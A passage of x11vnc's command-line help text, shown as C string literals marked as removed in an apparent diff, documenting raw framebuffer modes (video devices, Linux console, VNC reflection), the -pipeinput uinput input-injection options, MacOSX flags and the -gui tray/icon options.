-" If the string begins with \"video\", see the VIDEO4LINUX\n"
-" discussion below where the device may be queried for\n"
-" (and possibly set) the framebuffer parameters.\n"
-"\n"
-" If the string begins with \"console\", \"/dev/fb\",\n"
-" \"fb\", or \"vt\", see the LINUX CONSOLE discussion\n"
-" below where the framebuffer device is opened and\n"
-" keystrokes (and possibly mouse events) are inserted\n"
-" into the console.\n"
-"\n"
-" If the string begins with \"vnc\", see the VNC HOST\n"
-" discussion below where the framebuffer is taken as that\n"
-" of another remote VNC server.\n"
-"\n"
-" Optional suffixes are \":R/G/B\" and \"+O\" to specify\n"
-" red, green, and blue masks (in hex) and an offset into\n"
-" the memory object. If the masks are not provided x11vnc\n"
-" guesses them based on the bpp (if the colors look wrong,\n"
-" you need to provide the masks.)\n"
-"\n"
-" Another optional suffix is the Bytes Per Line which in\n"
-" some cases is not WxB/8. Specify it as WxHxB-BPL\n"
-" e.g. 800x600x16-2048. This could be a normal width\n"
-" 1024 at 16bpp fb, but only width 800 shows up.\n"
-"\n"
-" So the full format is: mode:file@WxHxB:R/G/B+O-BPL\n"
-"\n"
-" Examples:\n"
-" -rawfb shm:210337933@800x600x32:ff/ff00/ff0000\n"
-" -rawfb map:/dev/fb0@1024x768x32\n"
-" -rawfb map:/tmp/Xvfb_screen0@640x480x8+3232\n"
-" -rawfb file:/tmp/my.pnm@250x200x24+37\n"
-" -rawfb file:/dev/urandom@128x128x8\n"
-" -rawfb snap:/dev/video0@320x240x24 -24to32\n"
-" -rawfb video0\n"
-" -rawfb video -pipeinput VID\n"
-" -rawfb console\n"
-" -rawfb vt2\n"
-" -rawfb vnc:somehost:0\n"
-"\n"
-" (see ipcs(1) and fbset(1) for the first two examples)\n"
-"\n"
-" In general all user input is discarded by default (see\n"
-" the -pipeinput option for how to use a helper program\n"
-" to insert). Most of the X11 (screen, keyboard, mouse)\n"
-" options do not make sense and many will cause this\n"
-" mode to crash, so please think twice before setting or\n"
-" changing them in a running x11vnc.\n"
-"\n"
-" If you DO NOT want x11vnc to close the X DISPLAY in\n"
-" rawfb mode, prepend a \"+\" e.g. +file:/dev/fb0...\n"
-" Keeping the display open enables the default\n"
-" remote-control channel, which could be useful.\n"
-" Alternatively, if you specify -noviewonly, then the\n"
-" mouse and keyboard input are STILL sent to the X\n"
-" display, this usage should be very rare, i.e. doing\n"
-" something strange with /dev/fb0.\n"
-"\n"
-" If the device is not \"seekable\" (e.g. webcam) try\n"
-" reading it all at once in full snaps via the \"snap:\"\n"
-" mode (note: this is a resource hog). If you are using\n"
-" file: or map: AND the device needs to be reopened for\n"
-" *every* snapfb snapshot, set the environment variable:\n"
-" SNAPFB_RAWFB_RESET=1 as well.\n"
-"\n"
-" If you want x11vnc to dynamically transform a 24bpp\n"
-" rawfb to 32bpp (note that this will be slower) also\n"
-" supply the -24to32 option. This would be useful for,\n"
-" say, a video camera that delivers the pixel data as\n"
-" 24bpp packed RGB. This is the default under \"video\"\n"
-" mode if the bpp is 24.\n"
-"\n"
-" Normally the bits per pixel, B, is 8, 16, or 32 (or\n"
-" rarely 24), however there is also some support for\n"
-" B < 8 (e.g. old graphics displays 4 bpp or 1 bpp).\n"
-" In this case you certainly must supply the masks as\n"
-" well: WxHxB:R/G/B. The pixels will be padded out to\n"
-" 8 bpp using depth 8 truecolor. The scheme currently\n"
-" does not work with snap fb (ask if interested.) B=1\n"
-" monochrome example: file:/dev/urandom@128x128x1:1/1/1\n"
-" Some other like this are 128x128x2:3/3/3 128x128x4:7/7/7\n"
-"\n"
-" For B < 8 framebuffers you can also set the env. var\n"
-" RAWFB_CGA=1 to try a CGA mapping for B=4 (e.g. linux\n"
-" vga16fb driver.) Note with low bpp and/or resolution\n"
-" VGA and VGA16 modes on the Linux console one's attempt\n"
-" to export them via x11vnc can often be thwarted due to\n"
-" special color palettes, pixel packings, and even video\n"
-" painting buffering. OTOH, often experimenting with the\n"
-" RGB masks can yield something recognizable.\n"
-"\n"
-" VIDEO4LINUX: on Linux some attempt is made to handle\n"
-" video devices (webcams or TV tuners) automatically.\n"
-" The idea is the WxHxB will be extracted from the\n"
-" device itself. So if you do not supply \"@WxHxB...\n"
-" parameters x11vnc will try to determine them. It first\n"
-" tries the v4l API if that support has been compiled in.\n"
-" Otherwise it will run the v4l-info(1) external program\n"
-" if it is available.\n"
-"\n"
-" The simplest examples are \"-rawfb video\" and \"-rawfb\n"
-" video1\" which imply the device file /dev/video and\n"
-" /dev/video1, respectively. You can also supply the\n"
-" /dev if you like, e.g. \"-rawfb /dev/video0\"\n"
-"\n"
-" Since the video capture device framebuffer usually\n"
-" changes continuously (e.g. brightness fluctuations),\n"
-" you may want to use the -wait, -slow_fb, or -defer\n"
-" options to lower the \"framerate\" to cut down on\n"
-" network VNC traffic.\n"
-"\n"
-" A more sophisticated video device scheme allows\n"
-" initializing the device's settings using:\n"
-"\n"
-" -rawfb video:<settings>\n"
-"\n"
-" The prefix could also be, as above, e.g. \"video1:\" to\n"
-" specify the device file. The v4l API must be available\n"
-" for this to work. Otherwise, you will need to try\n"
-" to initialize the device with an external program,\n"
-" e.g. xawtv, spcaview, and hope they persist when x11vnc\n"
-" re-opens the device.\n"
-"\n"
-" <settings> is a comma separated list of key=value pairs.\n"
-" The device's brightness, color, contrast, and hue can\n"
-" be set to percentages, e.g. br=80,co=50,cn=44,hu=60.\n"
-"\n"
-" The device filename can be set too if needed (if it\n"
-" does not start with \"video\"), e.g. fn=/dev/qcam.\n"
-"\n"
-" The width, height and bpp of the framebuffer can be\n"
-" set via, e.g., w=160,h=120,bpp=16.\n"
-"\n"
-" Related to the bpp above, the pixel format can be set\n"
-" via the fmt=XXX, where XXX can be one of: GREY, HI240,\n"
-" RGB555, RGB565, RGB24, and RGB32 (with bpp 8, 8, 16, 16,\n"
-" 24, and 32 respectively). See http://www.linuxtv.org\n"
-" for more info (V4L api).\n"
-"\n"
-" For TV/rf tuner cards one can set the tuning mode\n"
-" via tun=XXX where XXX can be one of PAL, NTSC, SECAM,\n"
-" or AUTO.\n"
-"\n"
-" One can switch the input channel by the inp=XXX setting,\n"
-" where XXX is the name of the input channel (Television,\n"
-" Composite1, S-Video, etc). Use the name that is in the\n"
-" information about the device that is printed at startup.\n"
-"\n"
-" For input channels with tuners (e.g. Television) one\n"
-" can change which station is selected by the sta=XXX\n"
-" setting. XXX is the station number. Currently only\n"
-" the ntsc-cable-us (US cable) channels are built into\n"
-" x11vnc. See the -freqtab option below to supply one\n"
-" from xawtv. If XXX is greater than 500, then it is\n"
-" interpreted as a raw frequency in KHz.\n"
-"\n"
-" Example:\n"
-"\n"
-" -rawfb video:br=80,w=320,h=240,fmt=RGB32,tun=NTSC,sta=47\n"
-"\n"
-" one might need to add inp=Television too for the input\n"
-" channel to be TV if the card doesn't come up by default\n"
-" in that one.\n"
-"\n"
-" Note that not all video capture devices will support\n"
-" all of the above settings.\n"
-"\n"
-" See the -pipeinput VID option below for a way to control\n"
-" the settings through the VNC Viewer via keystrokes.\n"
-" As a shortcut, if the string begins \"Video..\" instead\n"
-" of \"video..\" then -pipeinput VID is implied.\n"
-"\n"
-" As above, if you specify a \"@WxHxB...\" after the\n"
-" <settings> string they are used verbatim: the device\n"
-" is not queried for the current values. Otherwise the\n"
-" device will be queried.\n"
-"\n"
-" LINUX CONSOLE: The following describes some ways to\n"
-" view and possibly interact with the Linux text/graphics\n"
-" console (i.e. not X11 XFree86/Xorg)\n"
-"\n"
-" Note: If the LibVNCServer LinuxVNC program is on your\n"
-" system you may want to use that instead of the following\n"
-" method because it will be faster and more accurate\n"
-" for the Linux text console and includes mouse support.\n"
-" There is, however, the basic LinuxVNC functionality in\n"
-" x11vnc if you replace \"console\" with \"vt\" in the\n"
-" examples below.\n"
-"\n"
-" If the rawfb string begins with \"console\" the\n"
-" framebuffer device /dev/fb0 is opened and /dev/tty0 is\n"
-" opened too. The latter is used to inject keystrokes\n"
-" (not all are supported, but the basic ones are).\n"
-" You will need to be root to inject keystrokes, but\n"
-" not necessarily to open /dev/fb0. /dev/tty0 refers to\n"
-" the active VT, to indicate one explicitly, use, e.g.,\n"
-" \"console2\" for /dev/tty2, etc. by indicating the\n"
-" specific VT number.\n"
-"\n"
-" For the Linux framebuffer device, /dev/fb0, (fb1,\n"
-" etc) to be enabled the appropriate kernel drivers must\n"
-" be loaded. E.g. vesafb or vga16fb and also by setting\n"
-" the boot parameter vga=0x301 (or 0x314, 0x317, etc.)\n"
-" (The vga=... method is the preferred way; set your\n"
-" machines up that way.) Otherwise there will be a\n"
-" 'No such device' error. You can also load a Linux\n"
-" framebuffer driver specific to your make of video card\n"
-" for more functionality. Once the machine is booted one\n"
-" can often 'modprobe' the fb driver as root to obtain\n"
-" a framebuffer device.\n"
-"\n"
-" If you cannot get /dev/fb0 working on Linux, try\n"
-" using the LinuxVNC emulation mode by \"-rawfb vtN\"\n"
-" where N = 1, ... 6 is the Linux Virtual Terminal (aka\n"
-" virtual console) you wish to view, e.g. \"-rawfb vt2\".\n"
-" Unlike /dev/fb mode, it need not be the active Virtual\n"
-" Terminal. Note that this mode can only show text and\n"
-" not graphics. x11vnc polls the text in /dev/vcsaN\n"
-"\n"
-" Set the env. var. RAWFB_VCSA_BW=1 to disable colors in\n"
-" the \"vtN\" mode (i.e. black and white only.) If you\n"
-" do not prefer the default 16bpp set RAWFB_VCSA_BPP to\n"
-" 8 or 32. If you need to tweak the rawfb parameters by\n"
-" using the 'console_guess' string printed at startup,\n"
-" be sure to indicate the snap: method.\n"
-"\n"
-" uinput: If the Linux version appears to be 2.6\n"
-" or later and the \"uinput\" module appears to be\n"
-" present (modprobe uinput), then the uinput method\n"
-" will be used instead of /dev/ttyN. uinput allows\n"
-" insertion of BOTH keystrokes and mouse input and so it\n"
-" preferred when accessing graphical (e.g. QT-embedded)\n"
-" linux console apps. It also provides more accurate\n"
-" keystroke insertion. See -pipeinput UINPUT below for\n"
-" more information on this mode; you will have to use\n"
-" -pipeinput if you want to tweak any UINPUT parameters.\n"
-" You may also want to also use the -nodragging and\n"
-" -cursor none options. Use \"console0\", etc or\n"
-" -pipeinput CONSOLE to force the /dev/ttyN method.\n"
-"\n"
-" Note you can change the Linux VT remotely using the\n"
-" chvt(1) command to make the one you want be the active\n"
-" one (e.g. 'chvt 3'). Sometimes switching out and back\n"
-" corrects the framebuffer's graphics state. For the\n"
-" \"-rawfb vtN\" mode there is no need to switch the VT's.\n"
-"\n"
-" To skip input injecting entirely use \"consolex\"\n"
-" or \"vtx\".\n"
-"\n"
-" The string \"/dev/fb0\" (1, etc.) can be used instead\n"
-" of \"console\". This can be used to specify a different\n"
-" framebuffer device, e.g. /dev/fb1. As a shortcut the\n"
-" \"/dev/\" can be dropped. If the name is something\n"
-" nonstandard, use \"console:/dev/foofb\"\n"
-"\n"
-" If you do not want x11vnc to guess the framebuffer's\n"
-" WxHxB and masks automatically (sometimes the kernel\n"
-" gives incorrect information), specify them with a @WxHxB\n"
-" (and optional :R/G/B masks) at the end of the string.\n"
-"\n"
-" Examples:\n"
-" -rawfb console\n"
-" -rawfb /dev/fb0 (same)\n"
-" -rawfb console3 (force /dev/tty3)\n"
-" -rawfb consolex (no keystrokes or mouse)\n"
-" -rawfb console:/dev/nonstd\n"
-" -rawfb console -pipeinput UINPUT:accel=4.0\n"
-" -rawfb vt3 (/dev/tty3 w/o /dev/fb0)\n"
-"\n"
-" VNC HOST: if the -rawfb string is of the form\n"
-" \"vnc:host:N\" then the VNC display \"N\" on the remote\n"
-" VNC server \"host\" is connected to (i.e. x11vnc acts as\n"
-" a VNC client itself) and that framebuffer is exported.\n"
-"\n"
-" This mode is really only of use if you are trying\n"
-" to improve performance in the case of many (e.g. >\n"
-" 10) simultaneous VNC viewers, and you try a divide\n"
-" and conquer scheme to reduce bandwidth and improve\n"
-" responsiveness. (However, another user found this mode\n"
-" useful to export a demo display through a slow link:\n"
-" then multiple demo viewers connected to the reflecting\n"
-" x11vnc on the fast side of the link, and so avoided\n"
-" all of the demo viewers going through the slow link.)\n"
-"\n"
-" For example, if there will be 64 simultaneous VNC\n"
-" viewers this can lead to a lot of redundant VNC traffic\n"
-" to and from the server host:N, extra CPU usage,\n"
-" and all viewers response can be reduced by having\n"
-" to wait for writes to the slowest client to finish.\n"
-" However, if you set up 8 reflectors/repeaters started\n"
-" with option -rawfb vnc:host:N, then there are only\n"
-" 8 connections to host:N. Each repeater then handles\n"
-" 8 vnc viewer connections thereby spreading the load\n"
-" around. In classroom broadcast usage, try to put the\n"
-" repeaters on different switches. This mode is the same\n"
-" as -reflect host:N. Replace \"host:N\" by \"listen\"\n"
-" or \"listen:port\" for a reverse connection.\n"
-"\n"
-" Overall performance will not be as good as a single\n"
-" direct connection because, among other things,\n"
-" there is an additional level of framebuffer polling\n"
-" and pointer motion can still induce many changes per\n"
-" second that must be propagated. Tip: if the remote VNC\n"
-" is x11vnc doing wireframing, or an X display that does\n"
-" wireframing that gives much better response than opaque\n"
-" window dragging. Consider the -nodragging option if\n"
-" the problem is severe.\n"
-"\n"
-" The env. var. X11VNC_REFLECT_PASSWORD can be set to\n"
-" the password needed to log into the vnc host server, or\n"
-" to \"file:path_to_file\" to indicate a file containing\n"
-" the password as its first line.\n"
-"\n"
-" To set the pixel format that x11vnc requests as a VNC\n"
-" CLIENT set the env. vars: X11VNC_REFLECT_bitsPerSample\n"
-" X11VNC_REFLECT_samplesPerPixel, and\n"
-" X11VNC_REFLECT_bytesPerPixel; the defaults are 8, 3, 4.\n"
-" 2, 3, 1 would give a low color mode. See the function\n"
-" rfbGetClient() in libvncclient for more info.\n"
-"\n"
-" The VNC HOST mode implies -shared. Use -noshared as\n"
-" a subsequent cmdline option to disable sharing.\n"
-"\n"
-"-freqtab file For use with \"-rawfb video\" for TV tuner devices to\n"
-" specify station frequencies. Instead of using the built\n"
-" in ntsc-cable-us mapping of station number to frequency,\n"
-" use the data in file. For stations that are not\n"
-" numeric, e.g. SE20, they are placed above the highest\n"
-" numbered station in the order they are found. Example:\n"
-" \"-freqtab /usr/X11R6/share/xawtv/europe-west.list\"\n"
-" You can make your own freqtab by copying the xawtv\n"
-" format.\n"
-"\n"
-"-pipeinput cmd This option lets you supply an external command in\n"
-" \"cmd\" that x11vnc will pipe all of the user input\n"
-" events to in a simple format. In -pipeinput mode by\n"
-" default x11vnc will not process any of the user input\n"
-" events. If you prefix \"cmd\" with \"tee:\" it will\n"
-" both send them to the pipe command and process them.\n"
-" For a description of the format run \"-pipeinput\n"
-" tee:/bin/cat\". Another prefix is \"reopen\" which\n"
-" means to reopen pipe if it exits. Separate multiple\n"
-" prefixes with commas.\n"
-"\n"
-" In combination with -rawfb one might be able to\n"
-" do amusing things (e.g. control non-X devices).\n"
-" To facilitate this, if -rawfb is in effect then the\n"
-" value is stored in X11VNC_RAWFB_STR for the pipe command\n"
-" to use if it wants. Do 'env | grep X11VNC' for more.\n"
-"\n"
-" Built-in pipeinput modes (no external program required):\n"
-"\n"
-" If cmd is \"VID\" and you are using the -rawfb for a\n"
-" video capture device, then an internal list of keyboard\n"
-" mappings is used to set parameters of the video.\n"
-" The mappings are:\n"
-"\n"
-" \"B\" and \"b\" adjust the brightness up and down.\n"
-" \"H\" and \"h\" adjust the hue.\n"
-" \"C\" and \"c\" adjust the colour.\n"
-" \"N\" and \"n\" adjust the contrast.\n"
-" \"S\" and \"s\" adjust the size of the capture screen.\n"
-" \"I\" and \"i\" cycle through input channels.\n"
-" Up and Down arrows adjust the station (if a tuner)\n"
-" F1, F2, ..., F6 will switch the video capture pixel\n"
-" format to HI240, RGB565, RGB24, RGB32, RGB555, and\n"
-" GREY respectively. See -rawfb video for details.\n"
-"\n"
-" If cmd is \"CONSOLE\" or \"CONSOLEn\" where n\n"
-" is a Linux console number, then the linux console\n"
-" keystroke insertion to /dev/ttyN (see -rawfb console)\n"
-" is performed.\n"
-"\n"
-" If cmd begins with \"UINPUT\" then the Linux uinput\n"
-" module is used to insert both keystroke and mouse events\n"
-" to the Linux console (see -rawfb above). This usually\n"
-" is the /dev/input/uinput device file (you may need to\n"
-" create it with \"mknod /dev/input/uinput c 10 223\"\n"
-" and insert the module with \"modprobe uinput\".\n"
-"\n"
-" The UINPUT mode currently only does US keyboards (a\n"
-" scan code option may be added), and not all keysyms\n"
-" are supported. But it is probably more accurate than\n"
-" the \"CONSOLE\" method.\n"
-"\n"
-" You may want to use the options -cursor none and\n"
-" -nodragging in this mode.\n"
-"\n"
-" Additional tuning options may be supplied via:\n"
-" UINPUT:opt1,opt2,... (a comma separated list). If an\n"
-" option begins with \"/\" it is taken as the uinput\n"
-" device file.\n"
-" \n"
-" Which uinput is injected can be controlled by an option\n"
-" string made of the characters \"K\", \"M\", and \"B\"\n"
-" (see the -input option), e.g. \"KM\" allows keystroke\n"
-" and motion but not button clicks.\n"
-"\n"
-" A UINPUT option of the form: accel=f, or accel=fx+fy\n"
-" sets the mouse motion \"acceleration\". This is used\n"
-" to correct raw mouse relative motion into how much the\n"
-" application cursor moves (x11vnc has no control over,\n"
-" or knowledge of how the windowing application interprets\n"
-" the raw mouse motions). Typically the acceleration\n"
-" for an X display is 2 (see xset \"m\" option). \"f\"\n"
-" is a floating point number, e.g. 3.0. Use \"fx+fy\"\n"
-" if you need to supply different corrections for x and y.\n"
-"\n"
-" Note: the default acceleration is 2.0 since it seems\n"
-" both X and qt-embedded often (but not always) use\n"
-" this value.\n"
-"\n"
-" Even with a correct accel setting the mouse position\n"
-" will get out of sync (probably due to a mouse\n"
-" \"threshold\" setting where the acceleration doe not\n"
-" apply, set xset(1)). The option reset=N sets the\n"
-" number of ms (default 150) after which the cursor is\n"
-" attempted to be reset (by forcing the mouse to (0,\n"
-" 0) via small increments and then back out to (x, y)\n"
-" in 1 jump), This correction seems to be needed but can\n"
-" cause jerkiness or unexpected behavior with menus, etc.\n"
-" Use reset=0 to disable.\n"
-"\n"
-" If you set the env. var X11VNC_UINPUT_THRESHOLDS then\n"
-" the thresh=n mode will be enabled. It is currently\n"
-" not working well. If |dx| <= thresh and |dy| < thresh\n"
-" no acceleration is applied. Use \"thresh=+n\" |dx| +\n"
-" |dy| < thresh to be used instead (X11?)\n"
-"\n"
-" Example:\n"
-" -pipeinput UINPUT:accel=4.0 -cursor none\n"
-"\n"
-" If the uinput device has an absolute pointer (as opposed\n"
-" to a normal mouse that is a relative pointer) you can\n"
-" specify the option \"abs\". Note that a touchpad\n"
-" on a laptop is an absolute device to some degree.\n"
-" This (usually) avoids all the problems with mouse\n"
-" acceleration. If x11vnc has trouble deducing the\n"
-" size of the device, use \"abs=WxH\". Furthermore,\n"
-" if the device is a touchscreen (assumed to have an\n"
-" absolute pointer) use \"touch\" or \"touch=WxH\".\n"
-" For touchscreens, when a mouse button is pressed,\n"
-" a pressure increase is injected, and when the button\n"
-" is released a pressure of zero is injected.\n"
-"\n"
-" If touch has been set, use \"touch_always=1\" to\n"
-" indicate whenever the mouse moves with no button\n"
-" pressed, a touch event of zero pressure should be\n"
-" sent anyway. Also use \"btn_touch=1\" to indicate a\n"
-" BTN_TOUCH keystroke press or release should be sent\n"
-" instead of a pressure change. Set \"dragskip=n\" to\n"
-" skip n dragged mouse touches (with pressure applied)\n"
-" before injecting one. To indicate the pressure that\n"
-" should be sent when there is a button click for a\n"
-" touchscreen device, specify pressure=n, e.g. n=5. The\n"
-" default is n=1.\n"
-"\n"
-" If a touch screen is being used (\"touch\" above)\n"
-" and it is having its input processed by tslib, you can\n"
-" specify the tslib calibration file via tslib_cal=<file>.\n"
-" For example, tslib_cal=/etc/pointercal. To get accurate\n"
-" or even usable positioning this is required when tslib\n"
-" is in use.\n"
-"\n"
-" The Linux uinput mechanism can be bypassed and one can\n"
-" write input events DIRECTLY to the devices instead.\n"
-" To do this, specify one or more of the following\n"
-" for the input classes: direct_rel=<device>\n"
-" direct_abs=<device> direct_btn=<device> or\n"
-" direct_key=<device>. The <device> file is usually\n"
-" something like /dev/input/event1 but you can specify\n"
-" any device file or pipe. You must specify each one\n"
-" of the above classes even if they correspond to the\n"
-" same device file (rel/abs and btn are often the same.)\n"
-" Look at the file /proc/bus/input/devices to get an idea\n"
-" what is available and the device filenames. Note:\n"
-" The /dev/input/mouse* devices do not seem to work,\n"
-" use the corresponding /dev/input/event* file instead.\n"
-" Any input class not directly specified as above will be\n"
-" handled via the uinput mechanism. To disable creating a\n"
-" uinput device (and thereby discarding unhandled input),\n"
-" specify \"nouinput\".\n"
-"\n"
-" Examples:\n"
-"\n"
-" -pipeinput UINPUT:direct_abs=/dev/input/event1\n"
-"\n"
-" this was used on a qtmoko Neo freerunner (armel):\n"
-"\n"
-" -pipeinput UINPUT:touch,tslib_cal=/etc/pointercal,\n"
-" direct_abs=/dev/input/event1,nouinput,dragskip=4\n"
-"\n"
-" (where the long line has been split into two.)\n"
-"\n"
-" You can set the env. var X11VNC_UINPUT_DEBUG=1 or higher\n"
-" to get debugging output for UINPUT mode.\n"
-"\n"
-"-macnodim For the native MacOSX server, disable dimming. \n"
-"-macnosleep For the native MacOSX server, disable display sleep.\n"
-"-macnosaver For the native MacOSX server, disable screensaver.\n"
-"-macnowait For the native MacOSX server, do not wait for the\n"
-" user to switch back to his display.\n"
-"-macwheel n For the native MacOSX server, set the mouse wheel\n"
-" speed to n (default 5).\n"
-"-macnoswap For the native MacOSX server, do not swap mouse\n"
-" buttons 2 and 3.\n"
-"-macnoresize For the native MacOSX server, do not resize or reset\n"
-" the framebuffer even if it is detected that the screen\n"
-" resolution or depth has changed.\n"
-"-maciconanim n For the native MacOSX server, set n to the number\n"
-" of milliseconds that the window iconify/deiconify\n"
-" animation takes. In -ncache mode this value will be\n"
-" used to skip the animation if possible. (default 400)\n"
-"-macmenu For the native MacOSX server, in -ncache client-side\n"
-" caching mode, try to cache pull down menus (not perfect\n"
-" because they have animated fades, etc.)\n"
-"-macuskbd For the native MacOSX server, use the original\n"
-" keystroke insertion code based on a US keyboard.\n"
-"-macnoopengl For the native MacOSX server, do not use OpenGL for\n"
-" screen capture, but rather use the original, deprecated\n"
-" raw memory access method: addr = CGDisplayBaseAddress().\n"
-"-macnorawfb For the native MacOSX server, disable the raw memory\n"
-" address screen capture method.\n"
-"\n"
-" MACOSX NOTE: There are some deprecated MacOSX interfaces\n"
-" to inject keyboard and mouse events and the raw memory\n"
-" access method is deprecated as well (however, OpenGL\n"
-" will be preferred if available because it is faster.)\n"
-" One can force not using any deprecated interfaces at\n"
-" compile time by setting -DX11VNC_MACOSX_NO_DEPRECATED=1\n"
-" in CPPFLAGS. Or to turn them off one by one:\n"
-" -DX11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS=1,\n"
-" -DX11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS=1 or\n"
-" -DX11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER=1\n"
-" At run time, for testing and workarounds, one can\n"
-" disable them by using:\n"
-" -env X11VNC_MACOSX_NO_DEPRECATED=1\n"
-" -env X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS=1\n"
-" -env X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS=1 or\n"
-" -env X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER=1\n"
-" Note: When doing either of these for the mouse input\n"
-" not everything works currently, e.g. double clicks and\n"
-" wireframing. Also, screen resolution and pixel depth\n"
-" changes will not be automatically detected unless the\n"
-" deprecated framebuffer interfaces are allowed.\n"
-"\n"
-" Conversely, if you are compiling on an\n"
-" older machine that does not have some of\n"
-" the newer interfaces, you may need to specify\n"
-" -DX11VNC_MACOSX_NO_CGEVENTCREATESCROLLWHEELEVENT\n"
-" -DX11VNC_MACOSX_NO_CGEVENTCREATEMOUSEEVENT or\n"
-" -DX11VNC_MACOSX_NO_CGEVENTCREATEKEYBOARDEVENT. Use\n"
-" -DX11VNC_MACOSX_USE_GETMAINDEVICE to regain the very\n"
-" old QuickDraw GetMainDevice() interface (rare...)\n"
-"\n"
-"-gui [gui-opts] Start up a simple tcl/tk gui based on the remote\n"
-" control options -remote/-query described below.\n"
-" Requires the \"wish\" program to be installed on the\n"
-" machine. \"gui-opts\" is not required: the default\n"
-" is to start up both the full gui and x11vnc with the\n"
-" gui showing up on the X display in the environment\n"
-" variable DISPLAY.\n"
-"\n"
-" \"gui-opts\" can be a comma separated list of items.\n"
-" Currently there are these types of items: 1) a gui\n"
-" mode, a 2) gui \"simplicity\", 3) the X display the\n"
-" gui should display on, 4) a \"tray\" or \"icon\" mode,\n"
-" and 5) a gui geometry.\n"
-"\n"
-" 1) The gui mode can be \"start\", \"conn\", or \"wait\"\n"
-" \"start\" is the default mode above and is not required.\n"
-" \"conn\" means do not automatically start up x11vnc,\n"
-" but instead just try to connect to an existing x11vnc\n"
-" process. \"wait\" means just start the gui and nothing\n"
-" else (you will later instruct the gui to start x11vnc\n"
-" or connect to an existing one.)\n"
-"\n"
-" 2) The gui simplicity is off by default (a power-user\n"
-" gui with all options is presented) To start with\n"
-" something less daunting supply the string \"simple\"\n"
-" (\"ez\" is an alias for this). Once the gui is\n"
-" started you can toggle between the two with \"Misc ->\n"
-" simple_gui\".\n"
-"\n"
-" 3) Note the possible confusion regarding the potentially\n"
-" two different X displays: x11vnc polls one, but you\n"
-" may want the gui to appear on another. For example, if\n"
-" you ssh in and x11vnc is not running yet you may want\n"
-" the gui to come back to you via your ssh redirected X\n"
-" display (e.g. localhost:10).\n"
-"\n"
-" If you do not specify a gui X display in \"gui-opts\"\n"
-" then the DISPLAY environment variable and -display\n"
-" option are tried (in that order). Regarding the x11vnc\n"
-" X display the gui will try to communication with, it\n"
-" first tries -display and then DISPLAY. For example,\n"
-" \"x11vnc -display :0 -gui otherhost:0\", will remote\n"
-" control an x11vnc polling :0 and display the gui on\n"
-" otherhost:0 The \"tray/icon\" mode below reverses this\n"
-" preference, preferring to display on the x11vnc display.\n"
-"\n"
-" 4) When \"tray\" or \"icon\" is specified, the gui\n"
-" presents itself as a small icon with behavior typical\n"
-" of a \"system tray\" or \"dock applet\". The color\n"
-" of the icon indicates status (connected clients) and\n"
-" there is also a balloon status. Clicking on the icon\n"
-" gives a menu from which properties, etc, can be set and\n"
-" the full gui is available under \"Advanced\". To be\n"
-" fully functional, the gui mode should be \"start\"\n"
-" (the default).\n"
-"\n"
-" Note that tray or icon mode will imply the -forever\n"
-" x11vnc option (if the x11vnc server is started along\n"
-" with the gui) unless -connect or -connect_or_exit has\n"
-" been specified. So x11vnc (and the tray/icon gui)\n"
-" will wait for more connections after the first client\n"
-" disconnects. If you want only one viewer connection\n"
-" include the -once option.\n"
-"\n"
-" For \"icon\" the gui just a small standalone window.\n"
-" For \"tray\" it will attempt to embed itself in the\n"
-" \"system tray\" if possible. If \"=setpass\" is appended then\n"
-" at startup the X11 user will be prompted to set the\n"
-" VNC session password. If =<hexnumber> is appended\n"
-" that icon will attempt to embed itself in the window\n"
-" given by hexnumber. Use =noadvanced to disable the\n"
-" full gui. (To supply more than one, use \"+\" sign).\n"
-" E.g. -gui tray=setpass and -gui icon=0x3600028\n"
-"\n"
-" Other modes: \"full\", the default and need not be\n"
-" specified. \"-gui none\", do not show a gui, useful\n"
-" to override a ~/.x11vncrc setting, etc.\n"
-"\n"
-" 5) When \"geom=+X+Y\" is specified, that geometry\n"
-" is passed to the gui toplevel. This is the icon in\n"
-" icon/tray mode, or the full gui otherwise. You can\n"
-" also specify width and height, i.e. WxH+X+Y, but it\n"
-" is not recommended. In \"tray\" mode the geometry is\n"
-" ignored unless the system tray manager does not seem\n"
-" to be running. One could imagine using something like\n"
-" \"-gui tray,geom=+4000+4000\" with a display manager\n"
-" to keep the gui invisible until someone logs in...\n"
-"\n"
-" More icon tricks, \"icon=minimal\" gives an icon just\n"
-" with the VNC display number. You can also set the font\n"
-" with \"iconfont=...\". The following could be useful:\n"
-" \"-gui icon=minimal,iconfont=5x8,geom=24x10+0-0\"\n"
-"\n"
-" General examples of the -gui option: \"x11vnc -gui\",\n"
-" \"x11vnc -gui ez\" \"x11vnc -gui localhost:10\",\n"
-" \"x11vnc -gui conn,host:0\", \"x11vnc -gui tray,ez\"\n"
-" \"x11vnc -gui tray=setpass\"\n"
-"\n"
-" If you do not intend to start x11vnc from the gui\n"
-" (i.e. just remote control an existing one), then the\n"
-" gui process can run on a different machine from the\n"
-" x11vnc server as long as X permissions, etc. permit\n"
-" communication between the two.\n"
-"\n"
-" FONTS: On some systems the tk fonts can be too small,\n"
-" jagged, or otherwise unreadable. There are 4 env vars\n"
-" you can set to be the tk font you prefer:\n"
-"\n"
-" X11VNC_FONT_BOLD main font for menus and buttons.\n"
-" X11VNC_FONT_FIXED font for fixed width text.\n"
-"\n"
-" X11VNC_FONT_BOLD_SMALL tray icon font.\n"
-" X11VNC_FONT_REG_SMALL tray icon menu font.\n"
-"\n"
-" The last two only apply for the tray icon mode.\n"
-"\n"
-" Here are some examples:\n"
-"\n"
-" -env X11VNC_FONT_BOLD='Helvetica -16 bold'\n"
-" -env X11VNC_FONT_FIXED='Courier -14'\n"
-" -env X11VNC_FONT_REG_SMALL='Helvetica -12'\n"
-"\n"
-" You can put the lines like the above (without the\n"
-" quotes) in your ~/.x11vncrc file to avoid having to\n"
-" specify them on the x11vnc command line.\n"
-"\n"
-"-remote command Remotely control some aspects of an already running\n"
-" x11vnc server. \"-R\" and \"-r\" are aliases for\n"
-" \"-remote\". After the remote control command is\n"
-" sent to the running server the 'x11vnc -remote ...'\n"
-" x11vnc command exits. You can often use the -query\n"
-" command (see below) to see if the x11vnc server\n"
-" processed your -remote command.\n"
-"\n"
-" The default communication channel is that of X\n"
-" properties (specifically X11VNC_REMOTE), and so this\n"
-" command must be run with correct settings for DISPLAY\n"
